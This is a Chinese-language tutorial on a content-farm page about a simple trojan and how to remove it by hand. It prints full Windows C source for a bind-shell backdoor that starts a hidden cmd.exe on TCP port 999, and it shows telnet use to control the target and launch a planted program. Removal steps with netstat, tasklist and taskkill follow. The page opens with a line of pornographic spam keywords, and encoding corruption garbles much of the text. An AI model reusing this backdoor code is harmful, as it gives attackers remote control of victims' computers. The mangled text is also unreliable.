六月丁香五月婷婷,丁香五月婷婷网,欧美激情网站,日本护士xxxx,禁止18岁天天操夜夜操,18岁禁止1000免费,国产福利无码一区色费

學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>病毒知識(shí)>

簡(jiǎn)單木馬分析與防范

時(shí)間: 若木635 分享

  電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺(jué)已經(jīng)離不開(kāi)電腦與網(wǎng)絡(luò),對(duì)于電腦安全防范,今天小編在這里給大家推薦一些電腦病毒與木馬防范相關(guān)文章,歡迎大家圍觀參考,想了解更多,請(qǐng)繼續(xù)關(guān)注學(xué)習(xí)啦。

  一、前言

  病毒與木馬技術(shù)發(fā)展到今天,由于二者總是相輔相成,你中有我,我中有你,所以它們之間的界限往往已經(jīng)不再那么明顯,相互之間往往都會(huì)采用對(duì)方的一些技術(shù)以達(dá)到自己的目的,所以現(xiàn)在很多時(shí)候也就將二者直接統(tǒng)稱為“惡意代碼”。這次我打算用兩篇文章的篇幅來(lái)討論病毒與簡(jiǎn)單的木馬相互結(jié)合的分析與防范方法。本篇也就是第一篇,討論的是利用只有服務(wù)器端的木馬程序?qū)崿F(xiàn)“病毒”的啟動(dòng)。而在下一篇中,我會(huì)討論既有服務(wù)器端又有客戶端的木馬程序與“病毒”相結(jié)合的分析與防范。

  二、簡(jiǎn)單木馬的原理

  由于木馬技術(shù)與計(jì)算機(jī)網(wǎng)絡(luò)息息相關(guān),所以也就離不開(kāi)Socket套接字編程。這里我不打算詳述Socket套接字編程的細(xì)節(jié),這個(gè)在MSDN上有非常詳細(xì)的講述,無(wú)非就是根據(jù)套接字的編程的流程,將相應(yīng)的內(nèi)容填入“模板”。而既然要實(shí)現(xiàn)通信的效果,就需要遵循一個(gè)通信模型,木馬一般都是C/S(客戶端/服務(wù)端)模式的。本篇文章所要論述的,雖然不涉及客戶端的編寫(xiě),但實(shí)際上我只不過(guò)是把cmd程序當(dāng)成了客戶端,因此本質(zhì)上還是C/S模式的。

  C/S模型的開(kāi)發(fā),需要在服務(wù)器端(欲攻擊的計(jì)算機(jī))上綁定一個(gè)IP地址和一個(gè)端口號(hào),然后進(jìn)行監(jiān)聽(tīng),等待客戶端(攻擊方)的連接??蛻舳藙t是向相應(yīng)的IP地址和端口號(hào)發(fā)起連接,服務(wù)器端接受后,雙方就可以開(kāi)始進(jìn)行通信,這就是基于TCP協(xié)議的通信,也是接下來(lái)要用到的方法。另外還有一種基于UDP協(xié)議的方法,這種方法是在服務(wù)器端進(jìn)行相應(yīng)的綁定后,客戶端不需要進(jìn)行連接直接就可以和服務(wù)器進(jìn)行通信??梢?jiàn),TCP要比UDP可靠,而UDP要比TCP效率高。

  本篇文章所論述的服務(wù)器端編程的基本原理如下:

  1、打開(kāi)一通信通道(綁定某個(gè)端口)并告知本地主機(jī),它在某一個(gè)地址上接收客戶請(qǐng)求??梢圆捎胹ocket和bind函數(shù)實(shí)現(xiàn)。

  2、等待用戶請(qǐng)求到達(dá)該端口。利用listen函數(shù)實(shí)現(xiàn)。

  3、接收到服務(wù)請(qǐng)求,處理該請(qǐng)求并發(fā)送應(yīng)答信號(hào)。利用accept函數(shù)實(shí)現(xiàn)。

  4、返回第二步,等待其他客戶的請(qǐng)求。

  5、關(guān)閉連接。利用closesocket函數(shù)實(shí)現(xiàn)。

  以上所使用的函數(shù)順序如下:

  socket()→bind()→listen()→accept()→closesocket()

  三、木馬的編程實(shí)現(xiàn)

  當(dāng)服務(wù)器端運(yùn)行這個(gè)程序后,客戶端可以利用telnet向服務(wù)器端發(fā)起連接,成功后自動(dòng)打開(kāi)cmd窗口,就可以通過(guò)DOS命令來(lái)直接控制服務(wù)器端的目標(biāo)計(jì)算機(jī),代碼如下:

  #pragma comment(lib,"ws2_32.lib") #include

  #include #define MasterPort 999 //欲利用的端口號(hào)

  int main()

  { WSADATA WSADa;

  sockaddr_in SockAddrIn; SOCKET CSocket,SSocket;

  int iAddrSize; PROCESS_INFORMATION ProcessInfo;

  STARTUPINFO StartupInfo; char szCMDPath[255];

  //初始化數(shù)據(jù)

  ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));

  ZeroMemory(&WSADa,sizeof(WSADATA)); //獲取CMD路徑

  GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));

  //加載ws2_32.dll WSAStartup(0x0202,&WSADa);

  //設(shè)置本地信息和綁定協(xié)議,建立Socket SockAddrIn.sin_family = AF_INET;

  SockAddrIn.sin_addr.S_un.S_addr = INADDR_ANY; SockAddrIn.sin_port = htons(MasterPort);

  CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0); //設(shè)置綁定端口999

  bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn)); //設(shè)置服務(wù)器端監(jiān)聽(tīng)端口

  listen(CSocket,1); iAddrSize = sizeof(SockAddrIn);

  //開(kāi)始連接遠(yuǎn)程服務(wù)器,并配置隱藏窗口結(jié)構(gòu)體

  SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize); StartupInfo.cb = sizeof(STARTUPINFO);

  StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

  StartupInfo.hStdInput = (HANDLE)SSocket; StartupInfo.hStdOutput = (HANDLE)SSocket;

  StartupInfo.hStdError = (HANDLE)SSocket; //創(chuàng)建匿名管道

  CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

  //關(guān)閉進(jìn)程句柄

  CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread);

  //關(guān)閉套接字 closesocket(CSocket);

  closesocket(SSocket); //釋放ws2_32.dll動(dòng)態(tài)鏈接庫(kù)

  WSACleanup();

  return 0; }

  由于代碼比較簡(jiǎn)單,這里不再進(jìn)行分析。

  四、木馬與“病毒”的結(jié)合利用

  之前文章所討論的“病毒”的自啟動(dòng)方式,都是需要借助于“外力”作用,而這次我的“病毒”則是通過(guò)植入木馬,連接成功后輸入DOS命令來(lái)啟動(dòng),但是前提是木馬需要先啟動(dòng)。這里我用了兩臺(tái)計(jì)算機(jī)(也可以使用虛擬機(jī)),一臺(tái)是客戶端,一臺(tái)是服務(wù)器端,服務(wù)器端已經(jīng)放置了木馬程序,現(xiàn)在就在服務(wù)器端執(zhí)行該木馬。之后在客戶端中打開(kāi)cmd程序,輸入:

  [plain] view plaincopy

  telnet 192.168.1.107 999

  這句命令的意思是通過(guò)telnet進(jìn)行遠(yuǎn)程登錄,連接到ip地址為192.168.1.107的計(jì)算機(jī)上的999號(hào)端口。成功后就可以發(fā)現(xiàn)已經(jīng)連接到了對(duì)方的計(jì)算機(jī)上:

  那么此時(shí)就可以通過(guò)DOS命令對(duì)目標(biāo)計(jì)算機(jī)進(jìn)行控制。這里假設(shè)目標(biāo)計(jì)算機(jī)的E盤(pán)根目錄下保存有我之前編寫(xiě)的Hacked.exe程序,那么可以通過(guò)輸入如下命令進(jìn)行運(yùn)行:

  [sql] view plaincopy

  start e:\hacked.exe

  此時(shí)Hacked.exe程序已經(jīng)在目標(biāo)計(jì)算機(jī)上執(zhí)行,顯示如下:

  當(dāng)然,我這里是假設(shè)Hacked.exe已放入對(duì)方的電腦,這個(gè)前提會(huì)有諸多的限制,因?yàn)楦玫姆椒ㄊ菍acked.exe程序由客戶端傳到服務(wù)器端再進(jìn)行啟動(dòng)。不過(guò),由于這個(gè)方法比較危險(xiǎn),為了避免別有用心的人拿它去做不軌的事情,因此不再深入討論。我的原則始終是以討論如何更好地防范惡意程序?yàn)橹?,而?duì)于惡意代碼的實(shí)現(xiàn),也就是點(diǎn)到為止。無(wú)需多加討論的,堅(jiān)決不進(jìn)行深入探討。

  五、木馬的查殺

  上述代碼所實(shí)現(xiàn)的是一個(gè)比較簡(jiǎn)單的正向連接后門(mén)程序,并沒(méi)有添加進(jìn)程隱藏功能,也沒(méi)有增加啟動(dòng)項(xiàng)目,也就是說(shuō),當(dāng)服務(wù)器端計(jì)算機(jī)重新啟動(dòng)后,這個(gè)木馬就失效了,需要重新運(yùn)行才可以。我這里講講如何手動(dòng)查殺。當(dāng)服務(wù)器端被植入木馬后,服務(wù)器端可以進(jìn)入cmd(若cmd被映像劫持可參考我之前的文章),然后輸入命令:

  [plain] view plaincopy

  netstat –ano

  這個(gè)命令可以查看當(dāng)前的網(wǎng)絡(luò)連接狀態(tài),如圖所示:

  在圖中可以看到,本地端口999與IP地址為192.168.1.104的主機(jī)建立了TCP連接,而且也可以看到進(jìn)程的ID值為1292(每次啟動(dòng)木馬的PID值可能不一樣)。對(duì)于一般的木馬來(lái)說(shuō),在命令提示符下就可以實(shí)現(xiàn)“查”的操作,隨著以后討論的深入,木馬復(fù)雜度會(huì)不斷加深,我可能會(huì)使用專業(yè)查殺工具或者采用自制的工具實(shí)現(xiàn)“查”的功能。

  利用PID值可以查看進(jìn)程的文件名,輸入:

  [plain] view plaincopy

  tasklist | find “1292”

  就可以知道PID值為1292的進(jìn)程的名稱為“MiniTrojan.exe”。之后使用PID值就能夠?qū)⒛抉R進(jìn)程從計(jì)算機(jī)中刪除,這里用taskkill命令:

  [plain] view plaincopy

  taskkill /f /pid 1292 /t

  這句命令的意思是,強(qiáng)制(/f)終止PID值為1292 的進(jìn)程和任何由此啟動(dòng)的進(jìn)程(/t)。最后一步是找到MiniTrojan.exe的位置,并刪除,就能夠徹底將木馬趕出計(jì)算機(jī)了,這里不再贅述。

  六、小結(jié)

  這篇文章所講的木馬程序需要在cmd下運(yùn)行,盡管遠(yuǎn)不如圖形界面直觀,但是這小小的木馬,也能夠造成很大的威脅了。不過(guò),這畢竟是一匹“小馬”,采用簡(jiǎn)單的DOS命令就能夠查殺,還是很好對(duì)付的。其實(shí)手動(dòng)查殺病毒木馬的流程就是這樣,查木馬病毒往往需要經(jīng)驗(yàn),需要敏銳的嗅覺(jué),之后的“殺”的階段,需要先把病毒木馬的進(jìn)程結(jié)束掉,然后才能刪掉其主程序。即便是復(fù)雜的惡意程序,基本上也是這個(gè)原理。

簡(jiǎn)單木馬分析與防范

電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺(jué)已經(jīng)離不開(kāi)電腦與網(wǎng)絡(luò),對(duì)于電腦安全防范,今天小編在這里給大家推薦一些電腦病毒與木馬防范相關(guān)文章,歡迎大家圍觀參考,想了解更多,請(qǐng)繼續(xù)關(guān)注學(xué)習(xí)啦。 一、前言 病毒與木馬技術(shù)
推薦度:
點(diǎn)擊下載文檔文檔為doc格式

精選文章

  • 怎樣利用簡(jiǎn)單程序漏洞反病毒
    怎樣利用簡(jiǎn)單程序漏洞反病毒

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺(jué)已經(jīng)離不開(kāi)電腦與網(wǎng)絡(luò),對(duì)于電腦病毒,今天小編在這里給大家推薦一些預(yù)防電腦病毒相關(guān)文章,

  • 什么是電腦病毒
    什么是電腦病毒

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺(jué)已經(jīng)離不開(kāi)電腦與網(wǎng)絡(luò),對(duì)于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

  • 病毒有什么特點(diǎn)
    病毒有什么特點(diǎn)

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺(jué)已經(jīng)離不開(kāi)電腦與網(wǎng)絡(luò),對(duì)于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

  • 病毒的傳播途徑
    病毒的傳播途徑

    電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺(jué)已經(jīng)離不開(kāi)電腦與網(wǎng)絡(luò),對(duì)于電腦的一些排殺病毒,今天小編在這里給大家推薦一些防止電腦病毒

95165